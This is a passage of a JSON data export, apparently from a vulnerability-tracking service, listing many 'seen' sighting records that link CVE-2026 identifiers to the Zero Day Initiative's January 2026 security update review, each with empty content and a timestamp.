"https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "f2025a7b-5b57-4a9e-8b83-bf739c45e626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20830", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "184a8f67-98cf-44fc-814d-77fa6fc9a788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20835", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "a0a0eab3-1a12-4c20-b261-2360b35eb352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20851", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "f6362d72-b3ab-4ffd-b7a9-c2c301f76957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20871", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "74780664-0c98-4ca1-8c37-2a01bd417620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20814", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "40978d53-bf7f-4d82-b078-ec091fff85af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20836", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "027574fb-0ac8-4fe3-b0dd-348761cb40a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20962", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "633cc4a2-82b2-403b-9ba8-143d1b2d949b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "b695351e-234d-419f-90a7-1ddc1824d428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20812", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "73cf1d74-3e3b-4590-b056-55f079f6f09e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20842", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "116a2e19-79bc-43dd-a497-8087ade0273e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20946", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "f529ad15-c366-42f3-b666-2ffb7942b76e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20950", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "14de34c7-0c46-49c5-b666-19fb42757271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20956", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "f691816f-edba-4d11-ac2e-a2c563e7fedb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20949", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "2674a496-1dd1-47f2-aa84-98b792f18245", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20943", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "91352558-5cc6-4b0d-a289-0d504f4880ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20958", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "ab3f4286-431e-4cc7-b389-f91f545dc277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "deed4858-7d72-43d7-a4ac-5d57696734b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20947", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "8533c2b8-051f-4b81-bb18-d4d57584100b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20951", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "2bc7babb-8326-49b5-b469-e2c9149aac4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20959", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "2b9c9968-11bf-4dcb-b71a-2f1bb866ce82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20803", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "8ddf74c8-363c-4f89-8a21-6f047a9a22d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20847", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "1b17704e-0120-43cd-889d-6c38d737a890", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20948", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "8701e333-5448-49d1-a1f5-5bfefa9e435c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20872", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "7e2f394f-94db-48e7-b041-d6d78e19b6bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20925", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "d4210c3c-b2b0-4ff7-9c18-7ae65a285bf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20821", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "afd2f4e8-afc6-4f68-8635-8135419f9531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20826", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "f0dc8911-4e4f-4512-a783-111618c2aa00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20827", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "929223a7-f538-47c6-8007-e1661275b130", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20829", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "e865fd47-0e60-41e9-89d5-1ff1b8949d77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20811", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "d0e2b5f8-e211-4590-bb6a-d63b57841284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20863", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "cd3d522c-a102-45f5-bf6d-e358834b032c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20920", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "ff1b48f8-0eb8-4455-9ab0-33108318e601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "c2a844f8-8ad0-4136-b428-15a8b93f0aa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20810", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "a8c705b9-c0e2-471d-9c09-130099d76d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20831", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "b5cd6bd3-ede8-4ee6-8de2-8a007c4316cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20860", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "2b28a32d-690a-4202-9e57-c9fd27e1f27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20839", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "cc8b3315-00ba-4d63-b87b-e464ee145503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20844", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "bc09d6c0-7757-4d5e-a6e4-fb45c4191f68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20857", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "3945e435-d9ca-45ae-9137-29f6f9581889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20940", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "362eea63-dc47-4c94-b746-b3ed8e0425d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20820", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "648741ed-dda8-41a7-b59a-f20b5d1f82d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20864", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "891b0ff5-1cd1-4aba-b4da-22832fe94479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "5a098789-a79e-4614-9eee-5983a11a7a37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20808", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "50949127-e17f-4fff-9c55-b1522336c9b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20823", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "b350f197-749e-4410-92cc-4c134f8bb1ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20932", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "003f70f8-d15a-4c58-9024-4c25d57dc3db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20937", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "5db93b15-91ad-4430-8a51-0d2cdedaffae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20939", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "b5c83930-b9e5-4ba5-ab1a-4114c31004d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20804", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "ff94b065-89fd-422c-ba9d-019df7e649c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20852", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "0f6ce630-a32a-4bc7-bbbc-f034dcc9b572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "4c59ae2e-4295-43c7-9957-36ca4592c6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20825", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "e6ce7a11-2235-4c82-81f1-9d88f40f3467", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20816", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "d9b3b21e-4b3e-4148-bba3-f12d1ede4bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20849", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "be0a5c12-cac8-4e59-89be-2e29e8fbb832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "687067a5-e10a-4e28-95e0-9a054ee5dc69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20818", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "478ccee8-160b-418e-a3ef-e1d6de130734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20838", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "1b3b14ee-358c-490e-adf4-2ab371591c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20809", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "88e9d942-68ec-40fe-9c92-5b4dd372060b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20859", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "e227bebf-f185-42be-9a2c-19b673027e80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20875", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "4ea40379-33b4-4c11-8954-9a448fc27f9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20869", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "d6771529-c1f3-4477-a3bb-af35b96921f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20858", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "eae89f2f-a49a-4ec1-855e-d7561a231c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20861", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "eccff854-8272-4f8f-888b-a40ddc7e8dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20865", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "3f3e9cee-db7e-460f-b8a7-da74cd3bdfc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20866", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "172a4563-8ca6-49a0-8108-0fda46adccfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20867", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "e460c8ee-8f0d-468e-811c-7ca5699453af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20873", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "233e9d60-c440-4ec7-b54a-9988ab7ecd9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20874", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "d341b61f-4eb7-4d48-8089-96205fada320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20877", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "f4eb5154-b874-46d1-ab88-b9d7354cd6d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20918", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "adec1c47-de1f-4dbd-b4d1-b1ac70daa78d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20923", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "e271167d-0291-4529-a1da-33ca9aad9f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20924", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "43f37610-92b4-4fc7-97fd-a1f7826b5ec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20862", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", "creation_timestamp": "2026-01-13T18:01:16.000000Z"}, {"uuid": "a44b8cd3-99f2-4eb6-a7ad-d35f6ffa3792", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20837", "type": "seen", "source": "https://www.thezdi.com/blog/2026/1/13/the-january-2026-security-update-review", "content": "", 